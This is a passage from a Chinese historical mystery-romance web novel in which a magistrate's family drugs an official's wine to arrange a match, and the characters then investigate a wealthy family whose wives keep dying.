“我……”池楚浠的声音忽然小了许多,“我知道了。”
有那么一瞬间,景序昭仿佛成了她的底气,虚无缥缈的底气,池楚浠久久没有言语。
从前阿耶还在时会有这种感觉,那是来自家人的底气,是在别处体会不到的。
很快,池楚浠回过神来,景序昭不是她的底气,更不是她的家人。
不过有一点他说得很对,在外一定要自己护住自己,避其锋芒,活命要紧。
当危险降临时,只要足够敏锐,自己便能在第一时间逃离。
医馆的大夫说扭到了胳膊,但不严重,拿了些涂抹的药给池楚浠。
县令亲自来客舍请人,说是要与景县丞商议过河一事。
马上就是吴家娶亲之日了,景序昭需得去一趟。
县令特意邀请了池楚浠同行,为了不把关系再次闹僵,池楚浠点头应下。
为避免再与许娘子穿得类似,池楚浠特意去逛街,准备买套新的衣裳。
铁耀奉命护着池楚浠安危,于是也跟着一起去。
“池娘子,你不喜欢景县丞给你买的衣裳吗,为何还要自己买?”
池楚浠找了借口道:“我难得逛街一次,哪有女子逛街不爱买东西,铁耀兄,你看这件翠色的怎么样?”
成衣店里的衣裳都是做好的,买起来方便,这样不必等工期。
铁耀摸着下巴思索,“嗯”了半晌,“好看是好看,不过景县丞好像从未给你买过翠色的衣裳。”
池楚浠笑道:“没买过就对了,偏要挑他不喜欢的颜色,这样才好。”
铁耀不解地挠挠头。
衣裳买好了,发间的配饰池楚浠也打算换掉。
她在摊位前挑选配饰,拿起一支玉竹发簪左右打量,上面镶嵌的是碎玉,起个装饰的作用,不值钱。
铁耀皱着眉道:“怎么这簪子也要翠色的,池娘子你这么喜欢翠色吗?”
池楚浠把簪子举到眼前:“翠色怎么了,嫩竹就是要做成这样才好看,清新淡雅,看起来便如沐春风,我喜欢。”
“喜欢就买下。”景序昭的声音在耳边响起。
池楚浠扭头一看,见景序昭已经掏了钱给摊主。
他拿过簪子插入池楚浠发间。
“与你这翠色衣裳很配,整个人明媚了许多。”
池楚浠尴尬地扯出个笑来:“你真觉得好看?你喜欢这颜色和款式?”
“嗯,喜欢。”景序昭点头。
铁耀听得一脸茫然,问:“不对呀,景县丞,上次我问你喜欢女子做何穿戴,你没说过喜欢这样式儿的。”
景序昭淡淡地扫了铁耀一眼:“我喜欢的难道都要与你说。”
铁耀挠挠头:“也是。”
县令的管家客客气气地来接人了,就两条街的路程,还特意派了马车来。
管家领着人来到许宅,恭请几位进府。
县令已备了午点。
“诸位请坐。”
“瑾儿,给景县丞奉茶。”
今日许瑾的打扮和上次差不多,看得出来是特意往景序昭的喜好上靠的。
她今日的妆容很精致,显得她比上次见要明艳了许多,有些让人挪不开眼的架势。
“景县丞,请用茶。”
她捧着茶杯递过去,眼波流转,甚是好看。
池楚浠特意偏过头不去看她,怕她尴尬,毕竟她家丫鬟上次说的话池楚浠都听见了,今日池楚浠是知晓她动机的。
不过看许瑾那样子,似乎并不觉得有什么尴尬之态,很是泰然自若。
景序昭接了茶,将茶放到一旁,没喝。
许瑾依旧面带笑容,又斟了杯茶转身递给池楚浠:“还请妹妹原谅我昨日的冒失,今日特来跟妹妹敬茶赔罪。”
池楚浠接了茶:“我知晓你的心意,那日我也打了人,也有错处。”
池楚浠把茶喝了,给了个面子。
许瑾满意地笑了笑。
景序昭的那杯茶一直没喝,县令和许瑾都盯着那个杯子呢,不喝茶便有不原谅的意思,父女俩心里都在打鼓,猜不透景序昭心中所想。
县令终于忍不住说起了正事:“吴家迎亲的日子就定在明日,听说没请鼓乐班,打算安安静静地把新妇接过去,寒潭江上的船夫都被吴家出钱雇了,明日会开船接新妇。”
景序昭:“一个客也没请?”
许县令摇摇头:“没,和之前咱们打听的一样,不请客,只迎新妇过河。”
“寒潭桥被水冲垮的那段已在抓紧抢修,明日咱们的人过河还是得乘船,景县丞想带多少人去,我这就让他们准备。”
景序昭道:“吴家雇了船夫,就是不想载人过去,明日县令出面船夫不载也得载,既是去探查吴家娶妻缘由,倒也不必去太多人,三五人足以。”
许县令:“那便去五人,我送你们去渡口,公廨里还有公务,此事就劳烦景县丞了,若那吴家当真违了礼制,便把他请到公廨来。”
“若当真家中有
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妻又再娶一妻,需得徒一年,若吴家骗女方将之娶进门,那便要徒一年半,女家无罪,判和离。待景县丞明日去了吴家,仔细询问,弄清缘由。”
景序昭:“自然。”
“诸位晚上便在许某家中吃个便饭如何,这不算铺排宴请,不过是家中小聚,还请景县丞赏脸。”
许县令特意对着岳逸钦道:“家中有陈酿,酒味香醇,我一直没舍得喝,今日拿来款待诸位。”
岳逸钦一听,馋得眼睛都亮了:“那就留下来吃个便饭,叨扰了。”
许县令大喜:“我这就叫人去取酒。”
见岳逸钦馋那口酒抢先一步就答应了,景序昭便只能默认留下。
景序昭与县令在前厅议事,县令让女儿领着池楚浠去后院走走。
池楚浠不太想与许娘子一道散步,毕竟昨日才闹了不愉快,嘴上说着不计前嫌,其实心里谁都别扭。
许瑾先开口:“我叫许瑾,妹妹叫什么名字?”
“池楚浠。”
许瑾一怔:“你姓池?不信景么?”
池楚浠疑惑地看来:“我何时说过我姓景,你跟谁打听的?”
“可我不是听你唤景县丞阿兄,难道你不姓景?你不是景家小妹?”
“我不是。”
池楚浠忽然明白过来,怪不得昨日那一瞬间许娘子就转变了脸色,原来是把她当成了景序昭的亲妹妹。
“我只是习惯了唤景县丞阿兄,既然给你造成了误会,那我一会儿便不这样唤了。”
许瑾脸色难看,冷声道:“既不是亲妹妹,那你为何跟在景县丞身边?”
池楚浠想了想,还是用了客卿的名头:“我是他请的客卿,协助他断案。”
许瑾的脸色更沉了几分。
果然还是一个贱民,只不过是个客卿,哪里是景家女儿,是父亲和自己都看错了。
白白给她敬了一盏茶,许瑾此刻后悔不已。
“你自己逛吧,我身子不爽利,先回房歇着了。”
许瑾扭头就走,懒得再假模假样地装样子。
池楚浠只觉得这许家娘子好笑,惯有些嚣张跋扈,做什么都是直来直去,若这性子能改一改就好了。
好在许家的后院景色不错,池楚浠倒有兴致逛一逛。
有烤肉般的香味淡淡地飘了过来,池楚浠还隐约听见了岳师父的笑声。
她寻着味道和声音过去,在一处竹林里看见了岳逸钦和几个丫鬟婆子围在一处,都埋着脑袋朝地上看,不知在干什么。
池楚浠好奇,小心翼翼凑上去。
“好香啊……”
池楚浠猛吸了一口。
“诶,池丫头快来,看看这叫花鸡做得如何,我瞧着不错,下酒必定绝妙!”
岳逸钦把池楚浠拽过去一起围着,大家都期待着叫花鸡出炉。
“岳师父,我还当你跑去哪里了,原来偷偷过来觅食,这都能被你找到。”
一个婆子道:“老爷交代咱们要做拿手菜,这道叫花鸡便是,一会儿便能端上餐桌下酒。”
“太好了!”岳逸钦摩拳擦掌。
池楚浠不禁感慨,这许县令倒真是会讨好人,一局就把岳逸钦哄得离不开了。
他看人还真准,知道要留下景序昭还不如直接留下岳逸钦,这样就全都留下了。
看来许县令是很想攀附上景家这棵大树,要靠女儿博一博。
比起在怀德当县令,他更想去长安做官。
49. 许家行径
池楚浠跟着岳逸钦一起看着叫花鸡出炉,最后香喷喷地被呈上餐桌。
岳逸钦坐在桌前,人已经被那道叫花鸡馋得双眼迷瞪了,再加上那陈酿,他彻底无法自拔。
池楚浠笑了笑,她只知道岳逸钦爱吃肉,爱喝酒,但没想到能爱到这种程度。
老爷子还真是一副自由自在的散漫模样。
“动筷吧,诸位贵客别客气,当在自己家一样。”
许县令豪爽地笑着,亲自给岳逸钦倒酒,也给其他人的酒杯满上了。
池楚浠被安排到女眷一桌,正好与许瑾挨着,许瑾一直没个好脸色。
许家主母给许瑾使了个眼色,却也未见她转变态度。
许家主母朝池楚浠看来,笑着道:“既是与景县丞一路同行的客卿,咱们自然也是不能亏待的,池娘子,喜欢吃什么别客气,当成自己家。”
池楚浠道:“多谢夫人。”
主母道:“瑾儿,好生吃饭,不可耍小孩子脾气,你已是到了嫁人的年纪,切勿再这般任性。”
许瑾勉强收起脸色淡淡道:“是,母亲。”
岳逸钦吃鸡喝酒,好不畅快,有美食在前,旁的什么都顾不上了。
许县令主动为景序昭倒了好几次的酒,每次都眉开眼笑,看起来心情很好。
“不知景司空身体可还康健,在家休养恐怕不比日日上朝要清闲,想必也有许多事要操心吧?”
许县令有意打听长安之事,景序昭说两句倒也无妨。
“父亲已不过问朝中事,在家养狗逗猫已是万分有趣,旁的他也没兴致了。”
两人又随意聊了几句。
众人都吃饱,下席了,岳逸钦去了后厨又要了坛酒,拎着酒出门去。
许县令看了眼半醉过去的景序昭,招呼了小厮过来:“扶景县丞去歇息。”
小厮扶着人往房中去,他感觉扶着的人很沉,像是彻底醉过去了,可细心的人都得看出来,景县丞并没有喝多少。
小厮费了番力气才把人带进房间,出去时悄悄把门合上。
池楚浠躲在转角的柱子处看见了,从许瑾的态度便能大致猜到,今晚这顿饭恐怕没那么简单。
池楚浠在女眷一桌,与男人们隔了很远的距离,看不见景序昭到底喝了多少,居然能喝成这样。
天色尚早,池楚浠正琢磨着要不要带景序昭回客舍,但眼下这情形分明是许县丞要留人过夜。
岳逸钦拎着酒坛不知跑去了哪里。
池楚浠正准备去叫醒景序昭问问,还未动便看见一个娇俏人影朝屋门口走去。
竟然是许瑾!
柱子挡住了池楚浠的身影,许瑾并未察觉到池楚浠也在此处,她轻手轻脚推开门进去,反手又把门关上。
池楚浠:“……”
这是要把生米煮成熟饭?
许家父女好手段,这下景家不得不跨越千里娶个儿媳了。
池楚浠犹豫再三,不知该不该去打断这桩好事,要是岳逸钦在就好了,他是景序昭的师父,他有权力决定景序昭是否娶许家娘子。
池楚浠还是决定速速去寻岳逸钦,若是那屋里已经干柴烈火滚到一起,那或许是命中注定。
池楚浠刚一走,屋里就传来了动静。
还未来得及点亮的烛台被许瑾撞翻在地,景序昭方才猛地睁开眼,一手狠狠地掐在许瑾脖子上。
“饶……饶命。”
许瑾用力扒住景序昭的手。
只见景序昭眼神清明,根本没有半分醉酒的迹象。
“在酒里下药?你们父女二人有何居心?”
他手指上又加了些力道,掐得许瑾脸色都变了。
“我……我只是爱慕县丞……别无他意。”
景序昭并未在许瑾身上搜到凶器,便信了几分她说的话,手上松了松。
许瑾得以喘息,但脖子还卡在景序昭手里,她哭着道:“景县丞饶命。”
酒里的药的确没毒,景序昭已经感受到了,那是催..情药,并不是毒药。
此刻身体的感觉很是诡异,恨不得扒了身上这层皮。
他冷着脸甩开许瑾。
许瑾跌坐在地,景序昭方才看她的眼神令她一阵恶寒。
除了哭,她不敢再说什么。
景序昭摔门而去。
在远处观望的丫鬟匆匆去禀报,事情没成,恐怕还惹恼了景县丞。
池楚浠找了一圈,问了许家下人,说是看见岳主事拎着酒去了街上。
池楚浠匆忙往街上寻去,可这里有好几条街交错,不容易寻到人。
怀德县有夜禁,这会儿百姓们都不会再往大街上跑,池楚浠看了看天色,没有多少时间了,若是不尽快找到岳逸钦她只能回客舍。
街道上很冷清,该走的人都走光了,若是岳逸钦在,一眼便能看到,可惜,从头望到尾也没看见他的影子。
池楚浠匆忙跑到街尾,遇见巡街的不良人对她大喝:“夜禁时辰,速速归家!”
“我这就回……”
池楚浠趁机跑向第二条街,一眼望去依旧只有不良人,没有岳逸钦。
忽然,手腕被人猛地一拽。
她回头看去,惊道:“阿兄。”
景序昭道:“夜禁了,回去。”
池楚浠被他拽着往客舍方向去,满脑子疑惑:“你不是已经在许家歇下了,怎么又跑出来?”
景序昭声音微沉:“许家那副下流做派不可与之为伍,待办妥了师父之事就立即离开。”
池楚浠弱声道:“好……”
手腕被景序昭牢牢抓着,池楚浠察觉到他异于常人的体温,疑惑道:“你病了?”
景序昭朝她看来,沉着声:“我的酒被他们下了药,现下已服过解药,不碍事。”
池楚浠被许家的手段震惊,原来以为他们只是设计许瑾与景序昭共处一室,趁着酒后两人好做出些什么事来,以此定下亲事。
没想到许家为了确保万无一失竟敢给景序昭下药,胆子着实不小。
池楚浠试探着问:“当真无碍?”
景序昭嗯了一声,声音略显沉闷。
一路快步回到客舍楼前,景序昭重重推开客舍后院虚掩的门,径直往房间去。
“阿兄你慢点儿!”
池楚浠差点跟不上他的脚步,他走得太急了,仿佛整个人很暴躁不安。
两人的房间挨着,景序昭一把将池楚浠带到她的房间外,将她往房间推去。
“你早些歇息。”
“等等!”池楚浠反手拽住景序昭衣袖。
景序昭似乎脚下不稳,被池楚浠拉得往
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前倾斜,整个人朝池楚浠倒去。
池楚浠下意识往后靠,后背紧紧贴在了墙上。
四目相对,池楚浠有些许慌张:“我是想说……你看起来好像不太对劲,要不去医馆吧?”
方才走路那般风风火火,这会儿被拽一下就要倒地,池楚浠觉得怎么看他这药效都还没解。
万一严重到要了命可怎么办,还是劝他去医馆为好,好歹让大夫扎几针缓缓。
景序昭一手撑住墙面借力稳住身形,他只略微垂眼便能看清眼前的好妹妹。
脑袋有些昏沉,另一只垂下的手默默攥紧了,恨不得将自己掌心掐出血来。
池楚浠盯着他,着急道:“你是不是骗我说服了解药,还是速速去医馆吧。”
池楚浠望向他眼底,只见那眼中平白增了些红血丝,令这副神情看起来缺了人性,让人觉得胆寒。
“阿兄……”
池楚浠从未见过他这般模样,有些畏惧了。
许家下的药这么猛吗?让人浑身透着兽性,他们下药时难道不为许瑾考虑,竟用这等虎狼之药。
迫于气势的威慑,池楚浠悄然攥紧了衣角,她瞄了一眼旁边留出的空隙,想要从他手底下钻出去,不被他圈在这一隅。
身子刚往下一勾想要逃出去,景序昭便一手将她扣了回来,重新按在墙上。
“呃……”
池楚浠睁大眼睛装作镇定,仍旧直视着他道:“我去给你找大夫,你先让我过去。”
景序昭牢牢扣住池楚浠肩膀,眼眸合上,浑身的气势被强压下去,人性又回来了一半。
他沉声道:“不必,已是夜禁之时,你回屋歇着,明日一早要启程。”
“去吧。”景序昭说着,一手推开门将池楚浠推了进去。
他迅速将门在外面合上,嘴里嘱咐着:“记得锁门。”
“哦……”
池楚浠在屋内怔怔地应了声,接着把门锁了。
她把耳朵贴在门上听了一会儿,景序昭已经离去,她能听见隔壁关门的声音。
两间房共用一堵墙,池楚浠又贴在那堵墙上听,好似没听见隔壁有什么动静。
这到底是服没服解药,为何死活不愿意去看大夫。
没听见隔壁的响动,池楚浠便去睡了,明日还得早起,耽误不得。
景序昭不是什么都不懂的幼童,他必定能妥善地解决。
这夜似乎格外的漫长。
翌日,竟是岳逸钦来叫人启程。
他挨个敲门,很快,两人各自开了房门。
岳逸钦盯着景序昭,惊道:“哟,你昨夜做贼去了,一宿没睡?”
瞧他眼里的血丝,根本不像睡过的样子。
景序昭难得的一次没回岳逸钦的话,只侧目看向刚迈出门的池楚浠。
瞧见她的那一瞬间,景序昭想起昨夜的种种便羞愧地垂了眼。
昨夜,他满脑子都是池楚浠。
尽管服用了麻痹自己的药物,但那算不得真正的解药,只能勉强熬过去。
池楚浠第一时间朝景序昭看去,关切道:“好些了么?”
景序昭点点头。
池楚浠视线往下一移,瞧见了景序昭牢牢握在手里的东西,是个金色的什么物件。
“阿兄你手里拿的什么?”
50. 吴家娶亲
一夜未眠,池楚浠的身影在他脑海里跑了一个晚上,景序昭的神思仿佛还未回笼。
他反应过来手里拿着东西时就立即要收起来。
“藏什么,拿来瞧瞧。”
岳逸钦眼疾手快地拽着那东西的绳子扯了过来,金色物件上悬挂着的红绳在来回晃动。
是一枚同心锁。
抢东西的岳逸钦为老不尊地打趣道:“是哪家姑娘的定情之物,你竟随身带着。”
池楚浠惊讶得张了张嘴,红着脸道:“岳师父,这……这并非定情之物,是两年前我拿给阿兄,让他拿去作为本钱谋个生计。”
“不是定情物……”
池楚浠怕解释不清。
她看向景序昭:“我那时不知你身份,若知晓你不是缺这点金子的人,断不会……”
断不会惹下如此误会。
池楚浠没把话说完,若真这样说,她怕景序昭面上过不去,他既然能好好留着这枚同心锁,那说明他一定很珍视……
甚至可能……他两年前就会错了意。
池楚浠咬紧下唇,不知如何是好。
岳逸钦立马将同心锁塞回景序昭手心,年轻人的心思突然被他捅破了,他还一脸高兴地笑起来。
“原来缘分那时就结下了,好好好,赶紧走吧,县令的人天还没亮就来等着了,看着像是赔礼道歉来的,怪栽。”
池楚浠低着头没敢去看人。
景序昭速速将同心锁收好,与池楚浠同行。
昨夜睹物思人,这枚同心锁功不可没,这几年他都将同心锁戴在身上,已成了自己的贴身之物。
郎君娘子们以同心锁做定情信物,池楚浠是知道的,方才已经解释过,当初她并不是当做定情物塞给景序昭的,景序昭应该能理解她的用意。
只怪那日嘈杂声太大,谁也没听清池楚浠交代的那句话。
景序昭诡异地沉默着,只静静地与池楚浠走在一处。
许县令一大早就带着手下等着了,该备的东西都已为景序昭备齐。
见他们一来,许县令上前道:“景县丞,昨日是我招待不周,还望……”
“许贺桉。”景序昭沉声道,“若你在政务上也是这般龌龊手段,那就别怪我不客气。”
“不敢。”
许贺桉擦了擦额上的汗,他让五个不良人站到景序昭身侧,吩咐道:“仔细为景县丞办事,办好了回来重重有赏。”
有人来禀报:“县令,景县丞,新娘的轿子已经悄悄往河岸去了。”
许贺桉随景序昭他们一起前往。
河岸边,已经有两位船夫等在此处,见官差等人过来,他们一脸疑惑地上前跟县令见礼。
一船夫问:“县令可是要过河?”
许贺桉摆出县令的威风,沉声道:“你二人载景县丞他们过河。”
“这……”两位船夫看似很为难。
“我们收了吴老爷的钱,说好了近日不接外客的。”
“大胆!”许贺桉怒道,“本官下令,叫你们载景县丞过河公办,尔等若是不从便按律处置!”
两人吓得齐齐跪下,纷纷斜着眼睛看了一眼停在旁边的轿子。
“县令老爷,可否容我们先载那新妇过去,她是去吴老爷家的,别叫人家耽误了吉时。”
景序昭道:“你们可知吴老爷家是娶妻还是纳妾?”
船夫毫不犹豫地道:“自然是纳妾,吴家郎君才娶妻怎么可能又娶妻,难不成刚娶的妻没两月就亡故了。”
池楚浠道:“你们说是纳妾,将那轿子里的新妇叫出来一看便知。”
那顶接亲的轿子与寻常接亲的轿子不同,没刻意做红绸装扮,看不出一丝喜庆之色。
不良人将轿中的娘子请了出来。
只见那新妇着花钗青质连裳,手拿扇子挡在眼前,这分明是正妻的装束。
两位船夫虽没娶过妾,但也知道妻妾之间不同的礼制,眼前这位新娘子虽没有吹吹打打地送过来,但身上穿的的确是正妻婚服。
景序昭道:“一起过河吧,载我们去吴家。”
有县令亲自发话,两船夫不得不从,只是这一去必定会得罪吴老爷,工钱估计都领不到手。
一路上,两个船夫都一脸丧气。
原本两艘船都是要载新妇那边的人,但现在与新妇同行的人都挤在一条船上,另一艘船载着外客。
今日天气有些阴沉,却又不见下雨,船一驶出口岸没多远便迎上一圈水雾。
寒潭江水域辽阔,船家是挑了近路走的,平日里能一眼望到对岸,但今日有雾气遮挡,看不清前路。
船夫熟悉水路,闭着眼也能找准方向。
岳逸钦不同寻常的安静了许久,眉头时不时皱一下,池楚浠来到他身边道:“岳师父,您为何事忧心?”
岳逸钦握着阿荞的手帕,神情颇有些沉重:“我算过阿荞的命数不下两次,最近一次却没了生机。”
池楚浠惊道:“您是说她死了?”
岳逸钦长叹了口气:“但愿还活着吧。”
江上的白雾久久没有散去,不过船开得很稳,似乎很快就能到对岸了。
迷雾中,几个绿色的小影缓缓浮现。
翠色的蝴蝶煽动着翅膀飞到船头,一只悠闲地从池楚浠眼前晃过。
她盯着蝴蝶,怔了怔。
接着慌忙从岳逸钦手里拿过手帕,那手帕上绣着的蝴蝶与这几只蝴蝶极其相似。
从花色上看,它们就是同一种类,可池楚浠在别处从未见过这样的蝴蝶。
起初她还以为手帕上的蝴蝶仅仅是阿荞想象所为,没想到当真有这样花色的蝴蝶。
“岳师父,您见多识广,见过这样的蝴蝶吗?”
岳逸钦盯着那蝴蝶看,那三两只蝴蝶的翅膀呈翠色,翅中有一段无色透明,看起来像是画染的一般,仙气飘飘的样子。
“这样的蝴蝶,不曾见过,美得出奇。”岳逸钦感叹。
船夫了听见便笑了:“这有什么稀奇的,江边时常能瞧见这样的蝴蝶,本地品种,你们外地人自然没见过。”
池楚浠道:“这本地蝶叫什么名字?”
船夫:“没有名字,就是野蝴蝶要啥名字,你们要是喜欢就捉几只回去晒干了做蝶样,摆在花儿上好看。”
一只蝴蝶翩翩落在池楚浠的翠竹簪上,它与那碎玉做的脆竹站在一处显得格外相配。
景序昭不免看过来:“你这簪子与它同色,也难怪它会喜欢。”
池楚浠没敢动,怕吓着头上那只翠蝶。
她道:“今日这天气它们理应躲起来才对,万一下雨,
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水珠打湿翅膀就没活路了。”
景序昭看着她头上的竹蝶景色道:“兴许这蝴蝶生命顽强,在哪儿都容易活下来,不惧怕恶劣天气。”
池楚浠看向落在船头的那只,它们的颜色如此脆嫩,看起来不像是耐活的,反倒像一碰就碎的样子。
船夫道:“这儿有这些蝴蝶也不稀奇,那边有个灵枢谷,里头的大夫种了许多药材,一年四季都有花儿开,难免养出些蝴蝶蜜蜂啥的。”
池楚浠觉得船夫说的有道理,好的花草自然能养出好看的蝴蝶,没什么奇怪的。
载着新娘的那艘船驶到前面去了,白雾渐渐散去,池楚浠看着新娘的身影越来越清晰。
船顺利靠岸,两个船夫还是抱有一丝拿工钱的希望,于是跟着新妇一同往吴家去。
新妇上了吴家早就准备好的花轿,这顶花轿同样很素,没有任何喜庆的装扮。
新娘一句话没说,只默默地坐进花轿里。
岳逸钦看着这一切,捋着胡须道:“这吴家到底是娶什么,这般怪异。”
一行人都往吴家去。
到了吴家大门前,总算看见点迎亲的迹象了,屋前有红灯红绸,还有丫鬟婆子候着。
池楚浠对景序昭道:“按理吴家郎君要早早就去接新娘的,就算不过河,那也应在河岸处接上,可到门前了却还不见新郎。”
景序昭也觉得怪异,他和岳逸钦此时都在暗中观察吴家的所有人。
轿子停在屋前,喜婆上前来说吉祥话。
“郎君,接新娘下轿。”
喜婆说完,后方便出来一位身穿喜服的郎君,看着年纪不大,不过二十七八的样子。
新郎脸上并未见喜色,他径直朝轿子走来,掀开轿帘就去牵人,嘴里一句话也不说。
喜婆独自在旁边说着祝词和吉祥话。
丫鬟婆子们看起来都一脸喜色,唯独新郎冷面无情。
这婚事怎么看都觉得奇怪。
铁耀嘀咕着:“还真有男人洞房花烛不高兴的。”
景序昭一行人要跟着进屋去,一个婆子伸手拦住:“今日不接外客。”
几个不良人顿时上前持刀威胁:“老婆子,我们奉命来审问,还不快领我们县丞去见你家老爷。”
婆子也知道这几个是不良人,能认出他们的装束,但婆子有些为难。
她皱着眉沉默了片刻,道:“几位官爷稍等。”
她立马吩咐身旁的丫鬟去禀报,自己依旧拦在门口。
不良人冷声道:“你这婆子真是不要命了,连县丞都敢拦!”
景序昭没发话,县令派来的不良人也就没直接冲进去,都等着丫鬟去通报。
没多久,一个穿着喜庆的中年男人便快步迎了出来。
“老爷。”婆子恭敬地唤了一声,然后退到一旁。
吴老爷笑着来到景序昭面前:“您便是县丞吧,怀德县何时换的县丞我竟不知,看来是许久没出门了。”
景序昭道:“我乃苍山县丞,奉巡按御史之命巡查,恰巧途径此处,听闻吴老爷为儿子连娶两妻,县令便命我过来问问是否属实。”
吴老爷一愣,他被巡按御史这个名头唬住了。
“没有的事。”吴老爷赔笑道,“我儿并未同时立两妻,没有违背律法,县丞误会了。”
51. 陪葬金杯
景序昭往屋内看了一眼,沉声道:“我们听说吴郎君家中已有妻子,两个月前才娶回家的。”
吴老爷脸上似有几分尴尬神色:“要不……县丞屋里坐。”
岳逸钦不客气,第一个跨过门槛走了进去。
吴老爷领着一行人去了前厅,寻了个歇脚处让丫鬟去上茶。
“既然您不是本县县丞,想必不了解我家之事。”吴老爷唉声叹气地摇了摇头,“我们吴家男丁命里克妻,唯有命硬的女子嫁进来才抗得住,可即便是命硬也不见得能抵得住命里自带的神煞。”
吴老爷眼中有几分凄凉,他接着道:“我曾先后娶了五个娘子,她们皆是早早就殒命,后来我也不再强求,孤身至今。”
“但我儿还未有一儿半女,我不得不为他张罗婚事,若不是他的娘子们先后亡故,我也不会这般着急为他再娶。”
“县丞明鉴,我们并未违背律法。”
吴老爷眼中似乎有泪,看起来就是个可怜人,自己只是费尽心思想要为吴家延续香火而已。
吴老爷还沉浸在悲伤之中,就听得岳逸钦大声道:“阿荞那丫头已经亡故?”
吴老爷眼中露出震惊的神色:“前辈认识李荞?”
岳逸钦道:“我与阿荞父亲是熟识,阿荞当真已死在你府上?”
吴老爷脸色难看,犹犹豫豫不敢回话。
岳逸钦怒道:“李荞是如何死的,若你吴家分说不清,便请你们父子去衙门走一趟!”
吴老爷苦着一张脸道:“我吴家三代克妻,还能是怎么死的,不是病死就是意外亡故,总不能是我吴家人害死的呀。”
景序昭对他彰显同情的那招无动于衷,冷声道:“死妻若是一两次还能用你这套说词,可三番五次死妻,那就与你吴家人脱不了干系。”
吴老爷哭诉着:“我吴荣贵怎么可能杀妻,我儿更不会,我们比谁都渴望有个孩子,巴不得娶进门的娘子能生下个一儿半女,哪里舍得害死她们。”
吴荣贵说得激动,连着咳了几声,丫鬟为他递去一杯茶润喉。
“官爷,李荞的死是个意外,我也不想看到这样的事发生。”
岳逸钦半点不信他说的话,好端端的,谁家接连死娘子的,没鬼才奇怪。
“既然李荞已死,你为何不告知她父母,还不让李耕夫妇来看女儿,你到底有何居心!”
吴荣贵赶紧给景序昭行了一礼,解释道:“新妇才娶进门就传出暴毙的消息,谁受得了,我们瞒着不说也是为了她父母着想。”
“我吴家没少给他李家钱,他们拿着那笔钱这辈子能比村里的其他人都过得好了,折了个女儿便折了吧,叫他们不必那般伤心。”
池楚浠道:“李荞何时暴毙的?”
吴荣贵:“一个月前。”
池楚浠惊道:“她才去了一月你们便再娶?你们还有人性吗?”
吴荣贵看着池楚浠,无奈道:“我们吴家也是盼着能早早有个孙儿,我儿身体不够康健,我自是希望他早日为吴家带出个孙儿,这有何不可?”
池楚浠听了心中愤愤不平。
女子嫁到吴家便只是吴家要孙儿的工具,根本不顾及她们的生死,给了彩礼钱就当是买下了人家的女儿。
可无论如何,也不该枉顾人命。
吴荣贵道:“县丞,你看我们今日也算是低调迎亲,连客人都没请,已经是仁至义尽了。”
景序昭问:“李荞的尸身在何处?”
吴荣贵道:“尸身自然在墓穴里,县丞难道还要看尸身,可今日是我儿大婚之日,开坟恐怕不妥。”
景序昭道:“吴郎君在娶李荞之前还娶过几个?”
吴荣贵:“三个,都没了。”
“那便是了。”景序昭道,“三位娘子接连死在你们吴家,吴家所有人皆有害人性命之嫌,本官奉巡按御史令调查真相,还请吴老爷全力配合。”
吴荣贵脸色极度难看,纠结了许久终于道:“那尸身怕是已经腐烂,也看不出端倪了,今日是我儿的大婚之日,开坟不祥,明日吧,明日再重开墓穴。”
景序昭冷声道:“前任娘子过世才一月便另娶新妇,这已是大大的不祥了,何谈开坟不妥,你要真觉得不妥,就不该今日娶新妇。”
吴荣贵为难:“这……”
景序昭:“给你们两个时辰,两个时辰后开墓,验尸。”
池楚浠算着,两个时辰足够他们把婚事办完了,只要不一边拜堂一边挖坟便算景序昭仁慈。
吴荣贵在一边唉声叹气,嘴上还没答应景序昭要开墓的要求。
几个不良人纷纷上前逼迫,显然他们是习惯了干这类事。
不良人持刀相向,面色不善。
吴荣贵僵硬地扯了扯嘴角:“开墓,两个时辰后一定开。”
“几位稍坐,我让人上些吃食来,我儿那边还要拜堂,我得去一趟。”
景序昭默许他离去。
待吴荣贵离去后,岳逸钦站到厅外四处打量,将这周围的陈设格局尽收眼底。
景序昭也踏出门去,站在屋前的空地上看了看四周。
景序昭道:“吴家宅邸的乾方位有路发叉,家中易出吊死之人。”
岳逸钦道:“他家风水的确不好,很差,这样的地界若是用来做宅邸则家宅不宁,后人死绝,若是做墓地,那是大凶之地。”
几个不良人彼此看了一眼,后背一阵发寒,原来这吴家风水这么差。
铁耀道:“不对呀岳主事,若他家风水这么差,怎么会发财,你看他家的茶杯是金子做的。”
方才吴荣贵用的那套茶具的确像是金子做的,看起来很奢华。
景序昭来到那套茶具前,它就明晃晃地摆在屋中,似乎根本不怕客人拿走。
景序昭拿起一只茶杯端详,眉头忽地皱了一下。
“这杯子不像是活人所用。”
岳逸钦一听就来了兴致,他也拿起一只瞧,惊道:“是冥器,从墓里带出来的。”
池楚浠不太懂这些,风水和盗墓都未曾深入了解过,她疑惑道:“陪葬的东西活人可以拿来用?没讲究吗?”
“有讲究。”景序昭道,“不会有人拿陪葬品来用,除非他不知情,盗墓者都要加罚劳役刑并流放,没人敢明目张胆地用。”
铁耀道:“那这吴老爷肯定不知道自己买到了陪葬品,还当个宝贝似地摆起来炫耀呢。”
池楚浠却缓缓摇头:“一定不是偶然买到。”
景序昭追问:“为何?”
池楚浠拿起杯子仔细辨别其上的味道。
“方才吴老
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爷并未给我们使用这套茶具,可见平日里仅他一人在用,杯上已沾染了他的气味,这气味与他身上的味道一模一样。”
池楚浠抬眼看向景序昭道:“他接触过死尸,不止一两次,是长期接触死尸。”
景序昭感到震惊,他道:“你何时发现的?”
池楚浠:“起初我还拿不准,他身上戴了香囊,遮掩了部分气味,但这杯子却没有香囊遮掩,我能准确辨别。”
岳逸钦:“你这狗鼻子可曾出过错?”
池楚浠摇摇头:“尚未错过,或许是还未遇到难以辨认的,但死尸的味道于我而言再熟悉不过了,应是不会错的。”
景序昭道:“铁耀,随我去附近看看。”
“是,县丞。”
“我也去。”
池楚浠赶紧跟上。
吴老爷身上那味道只能是常年接触死尸留下的,一个正常人又怎会经常接触尸体,若是吴家宅邸藏匿了尸体,自己跟着去也能尽快找出源头。
岳逸钦精通依天象而卦,但玄空门一派又不止学这个,门下聚集了精通各类玄学的弟子,丧葬风水一事岳逸钦也是有涉猎的。
他看着吴家这宅子,左右都觉得不对劲,这绝不是一座普通的宅邸。
岳逸钦在前屋的空地上用脚步丈量,试图看出些端倪。
从待客的厅中出来,景序昭寻了一条小路绕过去,正好能从侧方看见前厅正在拜堂的新人。
府上的丫鬟婆子小厮像客人似的将空地挤占,每个人脸上都洋溢着恰到好处的笑容,唯独新郎是不笑的。
